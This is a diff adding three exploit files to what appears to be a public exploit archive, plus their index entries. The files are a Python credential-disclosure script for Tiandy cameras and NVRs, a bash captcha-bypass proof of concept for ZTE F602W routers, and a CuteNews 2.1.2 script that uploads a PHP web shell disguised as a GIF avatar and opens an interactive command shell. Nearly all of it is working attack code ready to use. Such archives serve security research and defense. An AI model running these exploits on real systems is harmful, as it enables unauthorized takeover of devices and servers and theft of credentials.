diff --git a/exploits/hardware/webapps/48799.py b/exploits/hardware/webapps/48799.py new file mode 100755 index 000000000..17ff9bfca --- /dev/null +++ b/exploits/hardware/webapps/48799.py @@ -0,0 +1,422 @@ +# Exploit Title: Tiandy IPC and NVR 9.12.7 - Credential Disclosure +# Date: 2020-09-10 +# Exploit Author: zb3 +# Vendor Homepage: http://en.tiandy.com +# Product Link: http://en.tiandy.com/index.php?s=/home/product/index/category/products.html +# Software Link: http://en.tiandy.com/index.php?s=/home/article/lists/category/188.html +# Version: DVRS_V9.12.7, DVRS_V11.7.4, NVSS_V13.6.1, NVSS_V22.1.0 +# Tested on: Linux +# CVE: N/A + + +# Requires Python 3 and PyCrypto + +# For more details and information on how to escalate this further, see: +# https://github.com/zb3/tiandy-research + + +import sys +import hashlib +import base64 +import socket +import struct + +from Crypto.Cipher import DES + + +def main(): + if len(sys.argv) != 2: + print('python3 %s [host]' % sys.argv[0], file=sys.stderr) + exit(1) + + host = sys.argv[1] + + conn = Channel(host) + conn.connect() + + crypt_key = conn.get_crypt_key(65536) + + attempts = 2 + tried_to_set_mail = False + ok = False + + while attempts > 0: + attempts -= 1 + + code = get_psw_code(conn) + + if code == False: + # psw not supported + break + + elif code == None: + if not tried_to_set_mail: + print("No PSW data found, we'll try to set it...", file=sys.stderr) + + tried_to_set_mail = True + if try_set_mail(conn, 'a@a.a'): + code = get_psw_code(conn) + + if code == None: + print("couldn't set mail", file=sys.stderr) + break + + rcode, password = recover_with_code(conn, code, crypt_key) + + if rcode == 5: + print('The device is locked, try again later.', file=sys.stderr) + break + + if rcode == 0: + print('Admin', password) + ok = True + break + + if tried_to_set_mail: + try_set_mail(conn, '') + + if not code: + print("PSW is not supported, trying default credentials...", file=sys.stderr) + + credentials = recover_with_default(conn, crypt_key) + + if credentials: + user, pw = credentials + print(user, pw) + + ok = True + + if not ok: + print('Recovery failed', file=sys.stderr) + exit(1) + + +def try_set_mail(conn, target): + conn.send_msg(['PROXY', 'USER', 'RESERVEPHONE', '2', '1', target, 'FILETRANSPORT']) + resp = conn.recv_msg() + + return resp[4:7] == ['RESERVEPHONE', '2', '1'] + +def get_psw_code(conn): + conn.send_msg(['IP', 'USER', 'LOGON', base64.b64encode(b'Admin').decode(), base64.b64encode(b'Admin').decode(), '', '65536', 'UTF-8', '0', '1']) + resp = conn.recv_msg() + + if resp[4] != 'FINDPSW': + return False + + psw_reg = psw_data = None + + if len(resp) > 7: + psw_reg = resp[6] + psw_data = resp[7] + + if not psw_data: + return None + + psw_type = int(resp[5]) + + if psw_type not in (1, 2, 3): + raise Exception('unsupported psw type: '+str(psw_type)) + + if psw_type == 3: + psw_data = psw_data.split('"')[3] + + if psw_type == 1: + psw_data = psw_data.split(':')[1] + psw_key = psw_reg[:0x1f] + + elif psw_type in (2, 3): + psw_key = psw_reg[:4].lower() + + psw_code = td_decrypt(psw_data.encode(), psw_key.encode()) + code = hashlib.md5(psw_code).hexdigest()[24:] + + return code + + +def recover_with_code(conn, code, crypt_key): + conn.send_msg(['IP', 'USER', 'SECURITYCODE', code, 'FILETRANSPORT']) + resp = conn.recv_msg() + + rcode = int(resp[6]) + + if rcode == 0: + return rcode, decode(resp[8].encode(), crypt_key).decode() + + return rcode, None + + +def recover_with_default(conn, crypt_key): + res = conn.login_with_key(b'Default', b'Default', crypt_key) + if not res: + return False + + while True: + msg = conn.recv_msg() + + if msg[1:5] == ['IP', 'INNER', 'SUPER', 'GETUSERINFO']: + return decode(msg[6].encode(), crypt_key).decode(), decode(msg[7].encode(), crypt_key).decode() + + +### +### lib/des.py +### + +def reverse_bits(data): + return bytes([(b * 0x0202020202 & 0x010884422010) % 0x3ff for b in data]) + +def pad(data): + if len(data) % 8: + padlen = 8 - (len(data) % 8) + data = data + b'\x00' * (padlen-1) + bytes([padlen]) + + return data + +def unpad(data): + padlen = data[-1] + + if 0 < padlen <= 8 and data[-padlen:-1] == b'\x00'*(padlen-1): + data = data[:-padlen] + + return data + +def encrypt(data, key): + cipher = DES.new(reverse_bits(key), 1) + return reverse_bits(cipher.encrypt(reverse_bits(pad(data)))) + +def decrypt(data, key): + cipher = DES.new(reverse_bits(key), 1) + return unpad(reverse_bits(cipher.decrypt(reverse_bits(data)))) + +def encode(data, key): + return base64.b64encode(encrypt(data, key)) + +def decode(data, key): + return decrypt(base64.b64decode(data), key) + + +### +### lib/binproto.py +### + +def recvall(s, l): + buf = b'' + while len(buf) < l: + nbuf = s.recv(l - len(buf)) + if not nbuf: + break + + buf += nbuf + + return buf + +class Channel: + def __init__(self, ip, port=3001): + self.ip = ip + self.ip_bytes = socket.inet_aton(ip)[::-1] + self.port = port + self.msg_seq = 0 + self.data_seq = 0 + self.msg_queue = [] + + def fileno(self): + return self.socket.fileno() + + def connect(self): + self.socket = socket.socket() + self.socket.connect((self.ip, self.port)) + + def reconnect(self): + self.socket.close() + self.connect() + + def send_cmd(self, data): + self.socket.sendall(b'\xf1\xf5\xea\xf5' + struct.pack(' 1: + self.msg_queue.extend(msgs[1:]) + + return msgs[0] + + def send_msg(self, msg): + self.send_cmd((self.ip+'\t'+'\t'.join(msg)+'\n\n\n').encode()) + + def get_crypt_key(self, mode=1, uname=b'Admin', pw=b'Admin'): + self.send_msg(['IP', 'USER', 'LOGON', base64.b64encode(uname).decode(), base64.b64encode(pw).decode(), '', str(mode), 'UTF-8', '805306367', '1']) + + resp = self.recv_msg() + + if resp[4:6] != ['LOGONFAILED', '3']: + print(resp) + raise Exception('unrecognized login response') + + crypt_key = base64.b64decode(resp[8]) + return crypt_key + + def login_with_key(self, uname, pw, crypt_key): + self.reconnect() + + hashed_uname = base64.b64encode(hashlib.md5(uname.lower()+crypt_key).digest()) + hashed_pw = base64.b64encode(hashlib.md5(pw+crypt_key).digest()) + + self.send_msg(['IP', 'USER', 'LOGON', hashed_uname.decode(), hashed_pw.decode(), '', '1', 'UTF-8', '1', '1']) + resp = self.recv_msg() + + if resp[4] == 'LOGONFAILED': + return False + + self.msg_queue = [resp] + self.msg_queue + + return True + + def login(self, uname, pw): + crypt_key = self.get_crypt_key(1, uname, pw) + + if not self.login_with_key(uname, pw, crypt_key): + return False + + return crypt_key + + + +### +### lib/crypt.py +### + +pat = b'abcdefghijklmnopqrstuvwxyz0123456789' + +def td_asctonum(code): + if code in b'ABCDEFGHIJKLMNOPQRSTUVWXYZ': + code += 0x20 + + if code not in pat: + return None + + return pat.index(code) + + +def td_numtoasc(code): + if code < 36: + return pat[code] + + return None + +gword = [ + b'SjiW8JO7mH65awR3B4kTZeU90N1szIMrF2PC', + b'04A1EF7rCH3fYl9UngKRcObJD6ve8W5jdTta', + b'brU5XqY02ZcA3ygE6lf74BIG9LF8PzOHmTaC', + b'2I1vF5NMYd0L68aQrp7gTwc4RP9kniJyfuCH', + b'136HjBIPWzXCY9VMQa7JRiT4kKv2FGS5s8Lt', + b'Hwrhs0Y1Ic3Eq25a6t8Z7TQXVMgdePuxCNzJ', + b'WAmkt3RCZM829P4g1hanBluw6eVGSf7E05oX', + b'dMxreKZ35tRQg8E02UNTaoI76wGSvVh9Wmc1', + b'i20mzKraY74A6qR9QM8H3ecUkBlpJC1nyFSZ', + b'XCAUP6H37toQWSgsNanf0j21VKu9T4EqyGd5', + b'dFZPb9B6z1TavMUmXQHk7x402oEhKJD58pyG', + b'rg8V3snTAX6xjuoCYf519BzWRtcMl2OiZNeI', + b'dZe620lr8JW4iFhNj3K1x59Una7PXsLGvSmB', + b'5yaQlGSArNzek6MXZ1BPOE3xV470h9KvgYmb', + b'f12CVxeQ56YWd7OTXDtlnPqugjJikELayvMs', + b'9Qoa5XkM6iIrR7u8tNZgSpbdDUWvwH21Kyzh', + b'AqGWke65Y2ufVgljEhMHJL01D8Zptvcw7CxX', + b't960P2inR8qEVmAUsDZIpH5wzSXJ43ob1kGW', + b'4l6SAi2KhveRHVN5JGcmx9jOC3afB7wF0ITq', + b'tEOp6Xo87QzPbn24J3i9FjWKS1lIBVaMZeHU', + b'zx27DH915lhs04aMJOgf6Z3pyERrGndiLwIe', + b'8XxOBzZ02hUWDQfvL471q9RC6sAaJVFuTMdG', + b'jON0i4C6Z3K97DkbqSypH8lRmx5o2eIwXas1', + b'OIGT0ubwH1x6hCvEgBn274A5Q8K9e3YyzWlm', + b'zgejY41CLwRNabovBUP2Aql7FVM8uEDXZQ0c', + b'Z2MpQE91gdRLYJ8bGIWyOfc4v03Hjzs6VlU5', + b't6PuvrBXeoHk5FJW08DYQSI49GCwZ27cA1UK', + b'FiBA53IMW97kYNz82GhHf1yUCdL0nlvRD46s', + b'2Vz3b06h54jmc7a8AIYtNHM1iQU9wBXWyJkR', + b'wyI42azocV3UOX6fk579hMH8eEGJsgFuBmqb', + b'TxmnK4ljJ9iroY8vVtg3Rae2L516fBWUuXAS', + b'z6Y1bPrJEln0uWeLKkjo9IZ2y7ROcFHqBm54', + b'x064LFB39TsXeryqvt2pZN8QIERuWAVUmwjJ', + b'76qg85yB31uH90YbZofsjKrRGiTVndAEtFMx', + b'WjwTEbCA752kq89shcaLB1xO64rgMYnoFiJQ', + b'u6307O4J2DeZs8UYyjlzfX91KGmavEdwTRSg' +] + +def td_decrypt(data, key): + kdx = 0 + ret = [] + + for idx, code in enumerate(data): + while True: + if kdx >= len(key): + kdx = 0 + + kcode = key[kdx] + knum = td_asctonum(kcode) + + if knum is None: + kdx += 1 + continue + + break + + if code not in gword[knum]: + return None + + cpos = gword[knum].index(code) + ret.append(td_numtoasc(cpos)) + + kdx += 1 + + return bytes(ret) + + + +if __name__ == '__main__': + main() \ No newline at end of file diff --git a/exploits/hardware/webapps/48801.sh b/exploits/hardware/webapps/48801.sh new file mode 100755 index 000000000..07e4bad2e --- /dev/null +++ b/exploits/hardware/webapps/48801.sh @@ -0,0 +1,81 @@ +# Exploit Title: ZTE Router F602W - Captcha Bypass +# Exploit Author: Hritik Vijay (@MrHritik) +# Vendor Homepage: https://zte.com.cn +# Reported: 2019-06-14 +# Version: F6x2W V6.0.10P2T2 +# Version: F6x2W V6.0.10P2T5 +# Tested on: F602W +# CVE: CVE-2020-6862 + +Background +----------- +Captcha is used to make sure the form is being filled by a real person +than an automated script. This is a very popular safety measure and +bypassing it could lead to potential compromise. + +Introduction +------------ +While logging in to the affected device you are presented with a +username, password and captcha field. Submitting the form results in an +HTTP request being sent out to /checkValidateCode.gch to validate the +captcha, if valid it goes on to really submit the login request. This +can be easily bypassed as this is a client side verification. One can +always ignore the response and proceed to forcefully submit the form via +Javascript (via calling the subpageSubmit() method). +A typical login request looks like this: + +POST / HTTP/1.1 +Host: 192.168.1.1 +User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-US,en;q=0.5 +Accept-Encoding: gzip, deflate +Referer: http://192.168.1.1/ +Content-Type: application/x-www-form-urlencoded +Content-Length: 101 +Connection: close +Cookie: _TESTCOOKIESUPPORT=1 +Upgrade-Insecure-Requests: 1 + +frashnum=&action=login&Frm_Logintoken=2&Username=admin&Password=admin&Validatecode=literally_anything + +Though, firing the same request twice fails with a text on the top +saying "Error". This pretty much defeats our purpose. It turns out that +on every login attempt, the parameter Frm_Logintoken gets incremented by +one and is required to match the server side value. This can pretty +easily be achieved by some pattern matching. Thus allowing any script +to bypass the captcha and log in. + +Threat +------- +A captcha bypass can really help in bruteforcing the credentials but +luckily the router limits the login trials to 3 attempts. In real +world though, things are a bit different. +The affected ZTE router comes with a default password. Given that the +devices on a same ISP network can access each other, it would be a +matter of time before someone writes a script to log in to every router +in the network and take control of it. + +PoC +------- + +#!/bin/bash + +SERVER=192.168.1.1 +USER="admin" +PASS="admin" + +getToken(){ + curl -s --cookie ' _TESTCOOKIESUPPORT=1; PATH=/;' $SERVER | grep 'Frm_Logintoken")' | cut -d\" -f4 +} + +Frm_Logintoken=`getToken` + +s=$(curl -sv --data "frashnum=&action=login&Frm_Logintoken=$Frm_Logintoken&Username=$USER&Password=$PASS" --cookie ' _TESTCOOKIESUPPORT=1; PATH=/;' $SERVER -w "%{http_code}" -o /dev/null 2> /tmp/zte_cookie) +if [[ $s -eq 302 ]]; then + echo "Logged in" + echo "Open http://$SERVER/start.ghtml" + echo `grep -o Set-Cookie.* /tmp/zte_cookie` +else + echo "Failed" +fi \ No newline at end of file diff --git a/exploits/php/webapps/48800.py b/exploits/php/webapps/48800.py new file mode 100755 index 000000000..3e4ad2590 --- /dev/null +++ b/exploits/php/webapps/48800.py @@ -0,0 +1,123 @@ +# Exploit Title: CuteNews 2.1.2 - Remote Code Execution +# Google Dork: N/A +# Date: 2020-09-10 +# Exploit Author: Musyoka Ian +# Vendor Homepage: https://cutephp.com/cutenews/downloading.php +# Software Link: https://cutephp.com/cutenews/downloading.php +# Version: CuteNews 2.1.2 +# Tested on: Ubuntu 20.04, CuteNews 2.1.2 +# CVE : CVE-2019-11447 + +#! /bin/env python3 + +import requests +from base64 import b64decode +import io +import re +import string +import random +import sys + + +banner = """ + + + _____ __ _ __ ___ ___ ___ + / ___/_ __/ /____ / |/ /__ _ _____ |_ | < / |_ | + / /__/ // / __/ -_) / -_) |/|/ (_-< / __/_ / / / __/ + \___/\_,_/\__/\__/_/|_/\__/|__,__/___/ /____(_)_(_)____/ + ___ _________ + / _ \/ ___/ __/ + / , _/ /__/ _/ + /_/|_|\___/___/ + + + +""" +print (banner) +print ("[->] Usage python3 expoit.py") +print () +sess = requests.session() +payload = "GIF8;\n" +ip = input("Enter the URL> ") +def extract_credentials(): + global sess, ip + url = f"{ip}/CuteNews/cdata/users/lines" + encoded_creds = sess.get(url).text + buff = io.StringIO(encoded_creds) + chash = buff.readlines() + if "Not Found" in encoded_creds: + print ("[-] No hashes were found skipping!!!") + return + else: + for line in chash: + if "" not in line: + credentials = b64decode(line) + try: + sha_hash = re.search('"pass";s:64:"(.*?)"', credentials.decode()).group(1) + print (sha_hash) + except: + pass +def register(): + global sess, ip + userpass = "".join(random.SystemRandom().choice(string.ascii_letters + string.digits ) for _ in range(10)) + postdata = { + "action" : "register", + "regusername" : userpass, + "regnickname" : userpass, + "regpassword" : userpass, + "confirm" : userpass, + "regemail" : f"{userpass}@hack.me" + } + register = sess.post(f"{ip}/CuteNews/index.php?register", data = postdata, allow_redirects = False) + if 302 == register.status_code: + print (f"[+] Registration successful with username: {userpass} and password: {userpass}") + else: + sys.exit() +def send_payload(payload): + global ip + token = sess.get(f"{ip}/CuteNews/index.php?mod=main&opt=personal").text + signature_key = re.search('signature_key" value="(.*?)"', token).group(1) + signature_dsi = re.search('signature_dsi" value="(.*?)"', token).group(1) + logged_user = re.search('disabled="disabled" value="(.*?)"', token).group(1) + print (f"signature_key: {signature_key}") + print (f"signature_dsi: {signature_dsi}") + print (f"logged in user: {logged_user}") + + files = { + "mod" : (None, "main"), + "opt" : (None, "personal"), + "__signature_key" : (None, f"{signature_key}"), + "__signature_dsi" : (None, f"{signature_dsi}"), + "editpassword" : (None, ""), + "confirmpassword" : (None, ""), + "editnickname" : (None, logged_user), + "avatar_file" : (f"{logged_user}.php", payload), + "more[site]" : (None, ""), + "more[about]" : (None, "") + } + payload_send = sess.post(f"{ip}/CuteNews/index.php", files = files).text + print("============================\nDropping to a SHELL\n============================") + while True: + print () + command = input("command > ") + postdata = {"cmd" : command} + output = sess.post(f"{ip}/CuteNews/uploads/avatar_{logged_user}_{logged_user}.php", data=postdata) + if 404 == output.status_code: + print ("sorry i can't find your webshell try running the exploit again") + sys.exit() + else: + output = re.sub("GIF8;", "", output.text) + print (output.strip()) + +if __name__ == "__main__": + print ("================================================================\nUsers SHA-256 HASHES TRY CRACKING THEM WITH HASHCAT OR JOHN\n================================================================") + extract_credentials() + print ("================================================================") + print() + print ("=============================\nRegistering a users\n=============================") + register() + print() + print("=======================================================\nSending Payload\n=======================================================") + send_payload(payload) + print () \ No newline at end of file diff --git a/files_exploits.csv b/files_exploits.csv index 7e7fc9ac1..437755ac1 100644 --- a/files_exploits.csv +++ b/files_exploits.csv @@ -40624,6 +40624,9 @@ id,file,description,date,author,type,platform,port 48793,exploits/java/webapps/48793.py,"ManageEngine Applications Manager 14700 - Remote Code Execution (Authenticated)",2020-09-07,Hodorsec,webapps,java, 48797,exploits/php/webapps/48797.txt,"Tailor Management System - 'id' SQL Injection",2020-09-09,Mosaaed,webapps,php, 48798,exploits/java/webapps/48798.txt,"Scopia XT Desktop 8.3.915.4 - Cross-Site Request Forgery (change admin password)",2020-09-09,V1n1v131r4,webapps,java, +48799,exploits/hardware/webapps/48799.py,"Tiandy IPC and NVR 9.12.7 - Credential Disclosure",2020-09-10,zb3,webapps,hardware, +48800,exploits/php/webapps/48800.py,"CuteNews 2.1.2 - Remote Code Execution",2020-09-10,"Musyoka Ian",webapps,php, +48801,exploits/hardware/webapps/48801.sh,"ZTE Router F602W - Captcha Bypass",2020-09-10,"Hritik Vijay",webapps,hardware, 42884,exploits/multiple/webapps/42884.py,"Fibaro Home Center 2 - Remote Command Execution / Privilege Escalation",2017-02-22,forsec,webapps,multiple, 42805,exploits/php/webapps/42805.txt,"WordPress Plugin WPAMS - SQL Injection",2017-09-26,"Ihsan Sencan",webapps,php, 42889,exploits/php/webapps/42889.txt,"Trend Micro OfficeScan 11.0/XG (12.0) - Private Key Disclosure",2017-09-28,hyp3rlinx,webapps,php,